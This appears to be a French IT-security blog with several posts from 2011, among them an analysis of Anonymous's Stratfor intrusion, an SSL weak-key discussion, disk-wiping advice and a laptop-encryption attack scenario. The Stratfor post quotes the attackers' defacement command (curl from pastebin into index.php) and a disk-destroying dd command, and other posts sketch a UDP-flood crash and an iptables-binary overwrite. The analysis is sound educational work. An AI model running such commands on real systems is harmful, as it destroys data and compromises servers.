Exploitability

Anonymous Vs Stratfor: KO en un round.

2012-01-10T11:27:00.000+01:00

En fin d'année, Anonymous a releasé un récapitulatif de ses exploits dans un log txt AnonymousZine.txt (une rapide recherche google vous le donnera): Hack de stratfor.com, cslea.com, nychiefs.og et specialforces.com.
Le document, bien que txt, contient des ASCII-ART:

(on arrive à lire Antisec) et le désormais classique masque de Guy Fawkes:

Cette table des matières donne le lien vers la plateforme Antisec de TPB et leur ambassade qui est un site .onion (installez tor).

Je livre ici une petite analyse du hack de stratfor en me basant sur les documents fournis, sous réserve qu'ils soient rééls et authentiques. Je ne reviendrai pas sur l'aspect politique du mouvement. Anonymous est une menace largement plus politique que technique, mais il est rare d'obtenir des logs comme ceux-ci qui permettent de voir une attaque 'in situ'. Je laisse le soin à d'autres personnes de discuter de la portée politique de leurs actes, seule une analyse technique sera présentée.

Stratfor.com est une société d'intelligence économique (espionnage industriel en bon français). On peut imaginer que leur site web est donc très bien protégé et que la sécurité générale est d'un très bon niveau. La divulgation faite par Anonymous montre que non. Je résume tout d'abord certains mails, puis l'état de leurs serveurs.

1/ quelques emails:
Stratfor a malgré tout bien compris qu'ils étaient "under attack". Mais le mail d'un sysadmin demandant 2 jours pour vérifier le système a été refusé. Ils s'étaient rendus compte qu'un de leur serveurs web avaient un load à 100% et contenait des scripts inconnus dans /root. Effectivement, ça mérite un "pull the plug".
[ Pour élargir le débat, qui a le pouvoir "pull the plug" de manière générale? Est-ce une prérogative à ajouter dans les droits d'un admin sys? ]

Ce n'est suite à l'attaque que Statfor s'est rendu compte que leurs sauvegardes emails se faisaient sur la même machine physique que le serveur de mail (!).
Ce n'est qu'une fois attaqués qu'ils se sont posés la question de la méthode de chiffrement des mots de passe. Ils ont beau eu indiquer sur facebook que les mots de passe étaient chiffrée en one-way MD5, la réalité montre qu'il ne s'agissait que du hash, donc des mots de passe ont été révélés. La liste complète des emails doit donner plus d'informations, mais elle n'est pas encore divulguée.

2/ et leurs serveurs
Concernant les serveurs, par contre, c'est plutôt une catastrophe. Anonymous fournit un log ssh relativement complet sur l'état et le contenu des serveurs (généralement un cat des fichiers shadow, .bash_history .ssh/* et des fichiers de confs). Il manque toutefois l'essentiel: l'attaque en elle-même ce qui est aisément compréhensible.
Le premier log laisse penser qu'Anonymous est entré avec un uid apache, et a monté root ensuite. [ Faille SQL suivie d'un shell suivi d'une escalade de privilèges? C'est non précisé. ]

Le premier serveur attaqué, le frontal web, apparemment, est une gentoo à noyau 2.6.24 (plusieurs failles de sécurité existent sur ce noyau) démarré depuis 2008 (!). Un utilisateur est logué sur la console tty1 depuis 27 jours (accès physique au serveur?). Le répertoire de /root est une catastrophe, il contient des sources, des fichiers Mac OS (ils ont branché une clé USB ou quoi?), des dossiers en vrac (genre un dossier bin/ un b/, un yourmom/ !). Le .bash_history de root montre un admin qui fouille ses logs, soit car il track anonymous, soit par curiosité normale. Ses clés ssh ne sont pas protégées... [ Je vais être mauvaise langue, mais un serveur comme celui-ci méritait bien un rm -rf / uniquement pour le ranger un peu.. ]

Les .bash_history des autres utilisateurs montrent que ce serveur sert également à faire du dev, ce qui est à l'encontre de toutes les bonnes pratiques. Les autres clés ssh trouvées n'ont pas non plus de mot de passe. Les fichiers de config .php sont également dumpés, donnant accès à la base de données. Ceci dit, quand un attaquant à les droits root, c'est généralement game over.

Ce serveur permet à Anonymous de se servir de l'utilisateur 'autobot', dont les clés permettent de se loguer sur l'ensemble du réseau (Mega FAIL!!). Anonymous va donc partir à la recherche du serveur de mail. Il s'agit d'une machine 64bits faisant tourner un zimbra+postfix. Le noyau est un 2.6.18-238.9.1.el5 (un nom de noyau comme ça fait penser à du redhat ou dérivé redhat), ce qui semble ancien. Anonymous passe root dessus sans plus de précisions (clé ssh? faille noyau?). En explorant la machine, il découvre un dossier /backups qui contient, vous l'aurez compris, les sauvegardes des spools de mails des utilisateurs. Headshot, et les spools qui se font doxer (ils ne sont pas encore diffusés, ceci dit).

Anonymous continue de rebondir sur les serveurs internes grâce aux clés d'autobot et diffuse des .bash_history, des tables mySQL etc etc.. Une petite finesse mérite d'être relevée. A chaque venue sur un serveur, anonymous lance la commande w pour connaître les personnes loguées. Sur l'une d'elles, un utilisateur travaille activement (session vim). Il se déconnecte et reconnecte en ssh -T (-T: non allocation de terminal), ce qui permet de ne plus être listé par la commande 'w'. Il appelle cette technique NINJA MODE :)

Enfin, une page index.php est rajoutée sur la home page du site web:
www3 # rm index.php
www3 # curl http://pastebin.com/download.php?i=ANTISEC > index.php
Et le fatal
www3 # dd if=/dev/zero of=/dev/sda3 & // SETTIN EVERYBODY BACK TO ZERO
aussitôt que google a mis la page en cache.

3/ And ze winner iz?
Que penser de cette attaque? Un serveur absolument pas à jour, des clés non protégées, un accès ssh possible de et vers les autres serveurs de la DMZ, une clé qui donne accès à tout. J'ai du mal à comprendre comment cette entreprise aurait pu passer le moindre contrôle ou le moindre audit sans se faire atomiser.
Et surtout, lorsque le hack est avérée, que le pirate est là, que l'admin le détecte et demande un peu de temps pour nettoyer tout ça, la réponse, la plus mauvaise qui soit: on ne coupe pas le business pendant 2 jours car le pirate n'arrivera surement pas à ses fins, cf
"You do realize how preposterous it is to suggest that stratfor simply shutdown completely for 2 days, right? The plan that you've attached paints a gloom and doom picture claiming no chance that such a move will succeed. Does that really seem a rationale conclusion?"

Ainsi, comme le dit Anonymous, stratfor s'est fait pwner vraiment violemment, ceci aidé d'une part par la faiblesse de leur infrastructure et d'autre part par l'absence de réactions.

Le reste d'AnonymousZine.txt contient les logs des autres attaques et des considérations politiques sur leur action. Intéressant à lire.

Petit conte de fin d'année, mais histoire vraie quand même.

2011-12-31T16:02:00.001+01:00

En cette période de fin d'année, je propose un petit conte qui sort de l'informatique et de la sécurité, ou pas.

L'histoire qui suit se passe il y a quelques années et aucun nom ne sera cité.
Or donc, il existait un centre commercial comme il en existe tant, avec, dans la galerie une bijouterie. Cette bijouterie se présentait en forme de L. La barre principale était ouverte sur la galerie, agrémentée d'une caisse en son milieu, et la barre du bas, au fond, avait un second comptoir, réservé aux réparations.

   +-----+

G V |
A     |      V: victime
L     |      C: caisse principale
E   C    |      R: comptoir de réparation
R      |
I        `-----+
E    R|
      R|
   +-----------+

Le week-end avant les fêtes, une foule importante se pressait dans la galerie marchande et dans la bijouterie. Comme cela se fait souvent, pour absorber ce surplus de clientèle, quelques intérimaires aidaient à la vente. Ils étaient habillés sobrement, d'une chemise blanche et d'un pantalon noir.
Sur ces entrefaits, aidé d'un complice, je me suis glissé vers le haut du magasin, habillé également d'une chemise blanche et d'un pantalon noir, couvert par un pull. J'ai rapidement repéré une cliente ayant en main un bon de réparation de bijou. Prestement défait de mon pull, je l'aborde en lui demandant si je peux l'aider. Discussion, vérification que son bon de réparation avait été payé, et je la laisse sur place en consultation des nouvelles collection de nouvel an. Je remet le pull et arrive au comptoir du fond pour récupérer le bijou.
Le bijou m'a été donné sur présentation et vérification du bon, et j'ai pu partir discrètement de la bijouterie par le côté opposé à la victime. Du fait de la foule, la cliente ne m'a pas vu partir, et les vendeurs légitimes n'ont pas vu la manipulation.
J'étais donc hors de la bijouterie un splendide collier orné d'un rubis dans la poche.
[Petite précision pour ceux qui s'en inquiéteraient: mon honnêteté n'ayant pas de limite, je suis retourné dans la bijouterie pour rendre le collier à sa propriétaire, c'est donc une histoire morale qui finit bien :-) ]

Etant sur un blog de sécurité informatique, que peut on dire?

J'ai joué le rôle d'un proxy malveillant entre un client et un serveur pour intercepter des données d'authentification.
La surcharge de fin d'année a empêché la détection du "rogue proxy" (si vous ne pouvez effacer vos logs, noyez les!)
Le client n'a pas pensé à authentifier le serveur. Pensez http"S"! ou typosquatting. Un peu de social engineering a suffit.
Enfin, le véritable serveur a fait confiance uniquement au cookie d'authentification (le bon de réparation). Une double authentification aurait été préférable: bon de réparation+authent via CNI par exemple, il était évident qu'un bon intitulé à un prénom de consonance féminine aurait du éveiller un soupçon. Le cookie d'authent pour entrer et faire des opérations (demander l'état de réparation du bijou) mais une seconde authentification pour la remise du payload reste une option intéressante.
L'extrusion du payload fût caché dans un paquet de données standard: moi, un client lambda avec un pull gris qui n'éveillait aucune suspicion ou regard de la part des vendeurs légitimes. Pour extraire des données, chiffrez les (flux SSL)!

Sur ce, bonne année, et happy hacking! (et n'allez pas dans les bijouteries faire des bêtises!)

EDIT: Christophe Pradier (RSSI de l'hôpital de Valenciennes) a traduit ce conte en anglais sur son blog!

dm-steg : la plausible deniability sous linux, ou pas.

2011-12-14T12:07:00.003+01:00

Un lecteur du blog m'a fait suivre un message de la mailing list dm-crypt: http://permalink.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/5543. L'auteur, Samulis Leopold propose un module noyau et les outils associés proposant un nouveau mode de chiffrement. Ce projet s'appelle DM-steg et la documentation est disponible. Les sources sont composées d'un patch noyau (pour le 3.2) et des outils.

1/ Quels sont les points positifs de DM-steg?
Tout d'abord, les performances de DM-steg ont été mesurées en regard d'un RAM disk, et elles sont honorables (partie 6 Benchmarks du .pdf de doc).
Je ne m'étendrai pas sur les différents modes de chiffrements. L'auteur s'est basé sur de l'existant (un openssl récent > 1.1 doit être utilisé pour pouvoir compiler le projet).

Le point clé du projet réside dans la mobilité des données sur le disque.
Le disque est tout d'abord découpé en parties équivalentes, les blocs. Deux blocs vont jouer un rôle particulier. La taille totale de l'espace est amputée de deux blocs: le premier sert d'en-tête, le second de zone temporaire.Au cours de l'emploi du disque, les données des blocs vont être déplacées sur l'ensemble de l'espace du disque de manière aléatoire. Le bloc temporaire sert à stocker les données pendant le déplacement. Ainsi, un attaquant qui n'aurait accès qu'a la version chiffrée du disque verrait des réécritures sur tout le disque, ne pouvant ainsi absolument rien déduire sur l'usage de ce disque.

Et puis l'auteur indique "no crash" ce qui est rassurant :-)

Et DM-steg est particulièrement intéressant car il propose par défaut de la plausible deniability.
J'ai déjà blogué sur la plausible deniability faite par truecrypt pour en conclure que la méthode n'est pas satisfaisante.
Petit résumé: Pour truecrypt le disque caché est situé vers la fin du disque. Un attaquant en possession de plusieurs versions du disque au cours du temps et qui verrait des données être modifiées à cet endroit alors qu'elles ne correspondent à aucun fichier sur le disque normal pourrait donc vraisemblablement intuiter qu'un disque caché est présent.

2/ La plausible deniability par DM-steg

Etudions la partie deniable plausability. Tout d'abord, sur la possession de ce programme, ensuite sur les containers imbriqués, et enfin sur les attaques réalisables par un attaquant.

La possession de ce programme est sans doute un piège en soi. Si je suis un attaquant et que je vois un utilisateur avec DM-steg, je vais immédiatement le soupçonner de cacher des données. On peut considérer cela comme un faux problème puisque le jour ou DM-steg sera inclus dans les sources officielles du noyau linux et dans les distributions linux sa possession ne sera plus compromettante.

DM-steg permet d'utiliser un disque avec plusieurs mots de passes. Chaque mot de passe donne accès à une vue différente du code déchiffré. Il est possible d'avoir donc un nombre illimité de conteneur cachés (si ce n'est la taille du disque), au contraire de Truecrypt qui ne propose qu'un disque normal contenant un disque caché.

Après discussion avec l'auteur par mail, il m'indique qu'il préfère la méthode de conteneur imbriqué sans limite. Les arguments sont inversibles avec ceux de Truecrypt. Truecrypt dit qu'en cas de gros problème, il est toujours possible de donner les deux mots de passe, prouvant donc que plus rien n'est caché (si on vous tape dessus pour obtenir les mots de passe, cela peut être la solution la moins pire), et DM-steg dit précisément l'inverse, que l'attaquant arrêtera forcément au 'n-ième' mot de passe, à vous de cacher la donnée dans un conteneur n+1. Je n'ai pas d'avis tranché à ce sujet.

Le mode de dispersion des données de DM-steg empêche un attaquant de différencier plusieurs versions du disque pour détecter quels sont les octets qui bougent, et si le cas échéant des octets vers la fin du disque bougent sans lien avec les données présentes. Il semble donc que c'est un excellent moyen pour faire de la plausible deniability. Mais il y a encore deux points qui ne sont pas réglés:

Les données sont éparpillées sur le disque (mettons /dev/sda1). Donc un attaquant avec plusieurs copies de /dev/sda1 n'a aucune information. Mais la plausible deniability dit que l'attaquant peut posséder le mot de passe du container principal. Et donc l'attaquant peut monter les disques avec DM-steg. Et il aura accès aux données sous /dev/mapper/steg1. Et là, les données deviennent "linéarisées" et non plus "éparpillées". L'attaquant peut donc étudier les modifications entre deux versions de /dev/mapper/steg1 et ainsi détecter des modifications illégitimes de manire analogue avec l'attaque sur truecrypt.
Aucune limitation sur le filesystem employé n'est faite. Ainsi, si un utilisateur crée un container principal formaté en ext3 et un container caché sur les 100 derniers Mo du disque, alors un attaquant à l'aide du mot de passe du premier container pourra consulter tous les superblocks d'ext3 sur le container principal. Les superblocks des 100 derniers Mo seront illisibles puisqu'écrasés par le container caché. Une fois de plus sa présence est révélée. On peut utiliser du FAT, mais l'emploi de FAT dans une distribution linux est suspicieux en soi.
Or donc la plausible deniability n'est pas garantie.

3/ One more step to infinity
Le fait d'éparpiller les données chiffrées sur le disque est donc un premier pas très intéressant. Un attaquant a donc l'obligation impérative d'avoir le premier mot de passe pour attaquer la plausible deniability, ce qui n'était pas le cas auparavant.
Nous avons aujourd'hui de plus en plus de disques SSD ou la localisation des données n'a plus aucune importance en terme de performances. L'usage de DM-steg pourrait donc rivaliser avec dm-crypt. Néanmoins, on cherche encore une vraie méthode de plausible deniability pérenne et fiable dans le temps.

Linux Magazine 144 - Compiler son noyau linux

2011-11-29T08:37:00.001+01:00

Le numéro 144 de Linux Magazine est sorti. J'ai écrit un article expliquant la manière de compiler un noyau linux.

Citation de circonstance:

Sécurité SSL et certificat malais compromis

2011-11-24T18:09:00.001+01:00

Le marronnier actuel de la sécurité concerne SSL. Sur le papier, SSL, c'est très bien. Cela permet d'augmenter la sécurité de manière peu intrusive pour l'utilisateur. Dans les faits, l'implémentation laisse à désirer. NewsOft a déjà expliqué ça très bien dans un message de blog il y a quelque temps.

Le dernier évènement concerne un virus possédant du code signé par un certificat Malais valide. On peut imaginer que la clé privée a été volée, comme cela a été le cas pour les drivers signés de Stuxnet, mais une autre hypothèse émerge, sans doute plus plausible.

La Malaisie possède plusieurs sites gouvernementaux en .gov.my. Certains sont sécurisés en SSL. Un certificat signé par une autorité reconnue leur a donc été généré.
C'est un de ces certificats qui a été utilisé pour signer le code d'un virus, explication de l'attaque.

Si vous volez une clé privée associée à un certificat, alors il est possible de profiter de la confiance relative à ce certificat. Il se trouve que des certificats de serveurs webs en malaisie avait en utilisation de la clé l'autorisation de signature de code (premier problème). Dans une optique de moindre privilège, il est inutile de donner à un certificat authentifiant un site web une autorisation de signature de code! Si le pirate a la clé privée de ce certificat, alors il peut signer du code avec la confiance de ce certificat.

Si un pirate n'a pas la clé privée, il peut essayer de la calculer. Une clé RSA768 bits a été cassée en plus de deux ans et demis de calculs. Les docs de l'ANSSI recommandent des clés supérieures à 1536 bits (chercher "Niveau standard").
Dans le cas du certificat malais, la clé ne faisait que 512 bits, et c'est le second problème! On peut donc dire que sa factorisation est possible en un temps relativement court. [A ce sujet, je n'ai pas trouvé de bench précis sur ce point. Si quelqu'un a des valeurs chiffrées, je prends.]. [1]

Donc un autre scénario que le vol de clé privée se dessine: Un pirate scanne internet [2] à la recherche de certificats exhibant une clé faible et des privilèges de signature de code, casse la clé privée et l'utilise pour signer son code offensif. Aucune intrusion chez le possesseur de la clé est nécessaire. HeadShot.

Nous savons que des CA sont à éviter, il faudrait désormais un mécanisme permettant de surveiller les certificats exhibant des particularités "faibles". Typiquement un certificat signé avec une clé de 512 bits ne doit pas être de confiance indépendamment de la validité de sa signature par une CA.

Note:
[1] Si quelqu'un sait casser une clé avant le 16 décembre, il peut profiter d'un certificat SSL valide! Le prendre ici. 512 bits de clé. Chrome refuse le téléchargement de la page pour cause de révocation, by the way.

[2] Ce travail de scan des sites HTTPS est effectué en tâche de fond par l'EFF, sans doute les pirates ont ils profité de ces bases?

Remote code execution sur pile IP - CVE-2011-2013 - MS-2011-83

2011-11-10T12:56:00.003+01:00

Mon flux RSS m'a remonté hier une vulnérabilité intéressante, MS-2011-83.
L'attaque est dévastatrice: remote code execution sur pile IP. Cela signifie qu'il suffit qu'une machine windows soit connectée sur un réseau, quels que soient es services en écoute (voire aucun), pour qu'un attaquant puisse en prendre le contrôle. C'est donc le plus haut niveau de gravité possible.

J'avais commencé à écrire un post de blog en faisant référence à mon message "TCP/IP security is boring" en indiquant le peu d’intérêt de la communauté de sécurité pour ce genre d'exploits. Mais au fur et à mesure de l'écriture du message, j'ai vu à ma bonne surprise mes fils d'actualités se remplir concernant cette faille.

Les informations techniques sur cette faille sont maigres. Le bulletin microsoft est comme d'habitude sibyllin.

Nous déduisons tout d'abord que seule la nouvelle pile IP est vulnérable du fait des systèmes impactés, à partir de Vista. Ce bulletin remplace le MS-2011-64, qui était lui aussi lié à un flot continu de paquets, mais ICMP.
Aucun Proof of Concept n'est disponible sur internet.
Le port UDP n'a pas à être en écoute Microsoft parle de "closed port". Ceci à du sens, contrairement à ce que j'ai pu lire. Lorsqu'un paquet est reçu du réseau, un certain nombre de vérifications doivent être faites, menant éventuellement à son rejet. Ce paquet est donc copié en mémoire, puis analysé. Donc envoyer un (ou des) paquet(s) sur un port fermé conduit donc à l’exécution de plusieurs parties de code du système, dont l'une au moins semble vulnérable.
Les paquets UDP ne sont pas aléatoires. Le bulletin indique "specially crafted", mais ne précise pas comment (ce qui est compréhensible).
L'exploitation de la faille est indiquée comme non triviale, mais possible, exploitability index de 2.

Un honeypot a été démarré, peut-être quelque chose en sortira, mais j'en doute.

Quelques informations ont émergées de mes flux, notamment celle-ci:

http://www.twitlonger.com/show/e30d0n qui de plus fait référence à des paquets ICMP, et donc le précédent bulletin remplacé. Une piste? Le bulletin MS2011-64 était lié à des paquets ICMP entrants, le twitlonger fait référence à des paquets ICMP sortants, dûs à des paquets UDP envoyés à des ports fermés. Cela semble plausible.

Edit: L'auteur du twitlonger ci-dessus semble arriver à crasher windows:
http://twitter.com/#!/_fel1x/status/134392807816306688. Il "suffit" d'envoyer 2^32 paquets UDP via un simple nmap -sU pour avoir un déclencheur de cette faille. Bon, 2^32 paquets, ça semble un peu beaucoup tout de même. Calcul à la louche. Imaginons une carte 100Mbit/s, et un paquet UDP de 160 octets.

(160x2³2)/100x10^6 = 6871 s, soit un peu plus de 2h de bombardement UDP continu au minimum...

Protéger ses données personnelles?

2011-10-29T06:00:00.000+02:00

Actuellement, si vous ne payez pas quelque chose, c'est que vous n'êtes pas le client, vous êtes le produit vendu. Le droit d'entrée sur facebook est gratuit, mais vos données personnelles sont revendues.
Une initiative comme celle de Max Schrems est très intéressante. Il a demandé et obtenu l'intégralité des informations qu'a enregistré facebook sur lui-même. Résultat: plus de 1200 pages d'informations, dont certaines qu'il ne soupçonnait même pas (!)

Tout un chacun veut protéger sa vie privée, mais est prêt à l'exposer sur son mur. Quelques uns ont fait les frais de ces mises à nu (Marc.L par exemple) et se méfient sans doute un peu plus, mais la majorité s'en soucie guère.

Plusieurs raisons peuvent peut-être expliquer cela. D'un côté il y a un avantage immédiat (ou supposé tel) d'augmenter sa visibilité dans le monde virtuel (réseau professionnel, amis, etc..): j'ai mis mon CV sur linkedin, j'ai un poste, je suis invité aux soirées, etc... A l'opposé les risques de cette exposition sont bien plus incertains, beaucoup moins bien exprimés et clairement plus lointains.

La protection est de plus contraignante, et n'est pas non plus suffisamment motivante en regard du bénéfice attendu de la diffusion de ses données personnelles.

Je pense que la protection des données par non diffusion de celles-ci ne fonctionnera pas; mais que se passerait il si on inversait la position du possesseur de la donnée? C'est à dire faire un opendata personnel.
C'est ma donnée, je veux avoir tout d'abord le droit d'accès et d'utilisation: un genre de google personnalisé sur tous ces sites. Quel agrégation puis-je faire des enregistrements de mon téléphone portable sur les différentes bornes par exemple? Est ce que je peux récupérer toutes les images me montrant sur les caméras de vidéo surveillance? Ensuite, il devrait exister un droit de suppression de n'importe quel donnée. Enfin, mais c'est un voeu pieux, les outils de datamining utilisés pour le profiling devraient être publics. Je pense que si les gens deviennent capables d'ordonner et trier leurs données aussi bien que ces entreprises tierces, ils pourront d'une part en tirer un bénéfice[1], et d'autre part mieux surveiller l'usage qui en sera fait.

La sécurité des données personnelles en sera d'autant plus élevée. Cela n'est qu'un avis personnel, bien sûr.

[1] je cherche un outil capable d'analyser mes déplacements urbains par exemple.

La destruction de données sur disque

2011-10-28T06:00:00.000+02:00

Il est courant de lire sur internet des déclarations sur le nombre de passes nécessaires à faire sur un disque pour nettoyer les données inscrites dessus. On retrouve les chiffres de 3,5,7 ou 35 passes avec des motifs différents, et le nom de Gutmann est généralement cité. L'étude de Gutmann date de 1996, ce qui est ancien.

1/ Le problème de l'effacement de données.
Lorsque l'on efface un fichier, il est rare que le fichier soit effectivement effacé du disque. Seule la référence vers ce fichier est effacée. Des outils permettent de récupérer des fichiers effacés par erreur (ma préférence va a photorec qui est très efficace).

2/ L'écrasement de données.
La solution pour supprimer une donnée d'un disque consiste alors à l'écraser par une autre. Les outils de récupération ne liront que la nouvelle donnée, et non l'ancienne, recouverte. A ce titre, l'avertissement de photorec est très clair: "Sitôt que manque à l'appel une photo ou un fichier ou que vous les avez détruits par erreur, cessez d'enregistrer toute autre photo ou fichier sur le disque dur ou la carte mémoire concerné; autrement vous risqueriez d'écraser les données perdues".
Néanmoins, Gutmann indique dans son étude que ce n'est pas toujours le cas.

Il s’appuie pour cela d'imageries au microscope électronique de disques dur pour montrer que les enregistrements successifs des bits sur les plateaux ne sont pas parfaits. Ainsi les enregistrements 'bavent' un peu, et il est possible de retrouver l'ancien bit après réécriture. L'hypothèse est jugée crédible en 1996.

La solution de Gutmann: 7 passes semblent trop peu, il préconsise donc 35 passes de réécriture de motifs différents afin de pouvoir éviter cette relecture.

3/ Alors on fait 35 passes
En fait, depuis le papier de Gutmann, il s'est passé beaucoup de temps. Son analyse portait sur des anciens disques, avec d'anciens modes d'écriture de données (MFM, RLL pour ceux qui s'en souviennent ça précède l'IDE).

Gutmann a updaté de nombreuses fois son article pour indiquer que les technologies évoluent (Epilogue, puis Further Epilogue, et enfin Even Further Epilogue). On peut y lire dans l'épilogue:
"In fact performing the full 35-pass overwrite is pointless for any drive since it targets a blend of scenarios involving all types of (normally-used) encoding technology, which covers everything back to 30+-year-old MFM methods"
Le further epilogue re-précise entre autre:
"even if you reproduced it, you'd just have done something with technology that hasn't been used for ten years"
Et enfin, dans l'Even Further Epilogue: "Flash memory barely existed at the time it was written, and SSDs didn't exist at all. (...) SSDs are a totally different technology than magnetic media, and require totally different deletion techniques. In particular you need to be able to bypass the flash translation layer and directly clear the flash blocks. In the absence of this ability, the best you can hope to do is thrash the wear-levelling to the point where as much of the data as possible gets overwritten, but you can't rely on any given piece of data being replaced, which means that an attacker who can bypass the translation layer can recover the original data."

4/ Mais que faire?
D'emblée, il est inutile de faire ces fameuses 35 passes. Faut il en faire alors 7 ou 5 ou 3?
Je préconise une seule passe avec dd if=/dev/urandom of=... , cela étant bien suffisant pour mes disques magnétiques.

La page http://en.wikipedia.org/wiki/Data_remanence (remplie de très bons liens) indique "On the other hand, according to the 2006 NIST Special Publication 800-88 (p. 7): "Studies have shown that most of today’s media can be effectively cleared by one overwrite" and "for ATA disk drives manufactured after 2001 (over 15 GB) the terms clearing and purging have converged." An analysis by Wright et al. of recovery techniques, including magnetic force microscopy, also concludes that a single wipe is all that is required for modern drives. They point out that the long time required for multiple wipes "has created a situation where many organisations ignore the issue all together – resulting in data leaks and loss. "

Quoi qu'il en soit, c'est toujours un sujet propre au FUD car il n'existe que peu de publications à ce sujet, et la plupart d'entre elles reprennent l'article de Gutmann sans vraiment l'avoir lu (genre, faites 35 passes avec shred pour effacer un fichier sur clé USB. Ouch.).

Concernant les SSD, c'est effectivement différent. Je cite http://nvsl.ucsd.edu/sanitize/ qui dit: "Our results show that naïvely applying techniques designed for sanitizing hard drives on SSDs, such as overwriting and using built-in secure erase commands is unreliable and sometimes results in all the data remaining intact."

Alors, oui on ne sait pas de quoi sont capables les organisations à grandes oreilles, oui, on a très peu de papiers techniques sur ce sujet, mais non, arrêtez de faire 35 passes sur ces pauvres disques :-)
Par contre, si vous êtes administrateur et que vous voulez vous couvrir auprès d'une autorité, alors détruisez les disques cela évite de se poser trop de questions.

Mars Avril 2003 - MISC N°6

2011-10-27T06:00:00.000+02:00

En rangeant un placard je suis retombé sur un vieux numéro de MISC:

que je n'ai pu m'empêcher de refeuilleter. Alors, avec une vision d'octobre 2011, comment était la sécurité en mars/avril 2003? Différente? Totalement dépassée?

L'édito parle d'une nouvelle conférence de sécurité :-) et fait un appel à papier à ce sujet.

Le premier article parle de cyber-terrorisme. Sujet éminemment à la mode depuis stuxnet aujourd'hui. Il est bien entendu fait mention des liens entre les réseaux informatiques et les infrastructures du monde réel. Un historique du cyberterrorisme remonte jusqu'en 1996. [ On y retrouve des délicieux termes obsolètes comme "mail bombing" ou des valeurs chiffrées: "engorgé les serveurs avec environ 800 mails par jour" (c'était en 1998). ]
La conclusion est titrée L'AVENIR. Alors? Le risque viendra des vers, qui se répliqueront de plus en plus vite (quelques secondes) sans laisser de temps à l'administrateur de réagir. Le second risque viendra des vers capables de se mettre à jour de manière autonome et de chercher des instructions sur des canaux IRC en étant plus discrets. Les vers les plus violents utiliseront des 0day (même si le mot n'est pas employé en tant que tel).

Le second article traite de l'aléa. La conclusion indique que lors de l'utilisation d'un système cryptographique, la vérification de la qualité du générateur aléatoire doit être effectuée sous peine de surprises.

Le troisième article explique le fonctionnement d'un virus de boot, appelé STEALTH.

La partie principale est dédiée au Wifi. Première partie, présentation. Bon, tout le monde connaît aujourd'hui. L'article finit en indiquant une adoption rapide du wifi aux USA et qui arrive en france. Nous sommes en2003. La seconde partie explique les principes de la norme 802.11 (caractéristiques physiques, logiques, format de trames, etc..). Le WEP est évoqué en signalant que les problèmes de sécurité sont pour les autres articles :-). La troisième partie parle des attaques réseaux sur 802.11b. Le wireless, c'est bien, mais cela revient à un attaquant d'avoir accès au média. Donc découverte de réseau, DOS, bruteforce de clé, rogue AP, et j'en passe, je cite: "De quoi faire devenir fou et/ou paranoïaque n'importe quel RSSI un peu tatillon" :-). Quatrième partie, la sécurité du WEP. Les noms de Fluhrer, Mantin et Shamir sont cités abondamment. Pour récupérer une clé à l'époque: 5 à 6 millions de trames sont nécessaires (aujourd'hui, on fait mieux). A l'époque, pas d'aircrack :-) LA cinquième et dernière partie parle des autres technos sans fils: bluetooth, hiperlan. Ceci dit, on trouve dans l'article un paragraphe qui parle du wifi, et enfin du WPA! (La norme a été terminée en 2004). Ce qui signifie qu'à cette époque on pouvait réellement parler d'insécurité du wifi: les attaques (théoriques) existaient mais les technos se déployaient.

Retour au quatrième article sur un mode de communication userland/kernelland sous linux: kernsh. Il est aujourd'hui connu sous le nom d'ERESI.

Cinquième article, plus tourné "cookbook" expliquant comment sécuriser son serveur FreeBSD, version 4.7

Ensuite une fiche pratique du CLUSIF, qui rejoint le thème du dossier. Les menaces, enjeux, parades des réseaux sans fils.

Le sixième article parle d'IPv6. En 2003, morceaux choisis: "le réseau internet IPv6 est encore très laxiste au niveau de la sécurité" et "L'expérience et l'histoire prouvent que des erreurs de programmation sont sans cesse refaites et les failles réintroduites dans les nouveaux développements"

Le septième article explique les problématiques de timing attack, et l'applique (entre autre) à RSA.

[ Pour la petite histoire, les deux dernières pages font de la publicité pour un magasin d'informatique. A l'époque, une clé USB 16Mo (si, si) fait 24euro90 et une clé de 512 en faisait 239,90 (!) ]

La sécurité d'il y a 8 ans est elle vraiment différente de celle d'aujourd'hui?

Casser le schéma de sécurité d'un portable chiffré

2011-10-26T06:00:00.000+02:00

Imaginons un RSSI consciencieux qui décide de chiffrer sa flotte d'ordinateurs portables afin d'éviter la fuite d'information en cas de perte ou de vol, ou de malveillance interne.
Il décide de renforcer la sécurité des machines:

Le système installé est linux, dupliqué sur tous les portables.
Un firewall est configuré à l'aide d'iptables et ce firewall est indispensable à la sécurité de la machine.
Il a lu mon article concernant le faux sentiment de sécurité lié au chiffrement de disque et utilise une puce TPM pour garantir l'intégrité de la chaîne de démarrage.

Et pourtant, il est possible de casser ce schéma de sécurité. Vous êtes un pentesteur (par exemple), et vous voulez accéder à la machine d'un tiers. Vous avez temporairement un accès à cette machine, comment faire?

1/ Tout d'abord, inutile d'essayer de casser le code de déchiffrement par force brute. On considère que les utilisateurs ont eu une bonne formation et que le mot de passe de déchiffrement est solide.

2/ Inutile de vouloir casser le chiffrement lui même. C'est de l'AES, et vous n'êtes pas Mr Filiol.

3/ L'utilisateur éteint toujours son portable lorsqu'il le quitte. Impossible de lancer une attaque cold-boot.

4/ Essayer de modifier le noyau ou l'initrd du démarrage afin qu'il enregistre le mot de passe entré ne mène à rien: la puce TPM permet de vérifier les métriques du boot et le déchiffrement de la racine n'aboutira pas, provoquant immédiatement une réaction de l'utilisateur.

5/ Changer le portable complet (le chassis) par un autre dont le rôle est de ressembler au portable dans la phase de demande de clé de déchiffrement pour l'envoyer immédiatement par le réseau ne fonctionne pas non plus, le RSSI à pensé à les marquer afin d'éviter les échanges malheureux. Ceci dit, il est toujours possible de changer le disque et de jouer cette méthode, mais le possesseur du portable comprendra immédiatement qu'il y a un problème et pourra prendre des actions correctives. Vous souhaitez accéder à de l'information, vous ne voulez pas que cet accès soit découvert.

6/ Une attaque réseau n'aboutit pas non plus. Le firewall iptables est trop bien configuré pour cela.

7/ Les autres attaques physiques sont considérées comme hors de propos pour cet exemple :-)

Solution après le saut.

Le chiffrement protège la confidentialité des données, mais pas leur intégrité.

Les portables descendent tous du même master.

L'attaquant possède un portable dont les fichiers systèmes sont situés au même endroit sur le disque que sur le disque de la victime.

L'attaque consiste donc a repérer géographiquement où est situé le programme iptables. Sur le portable de la victime, booter depuis un liveCD, et écrire quelques dizaines d'octets à l'emplacement d'iptables.

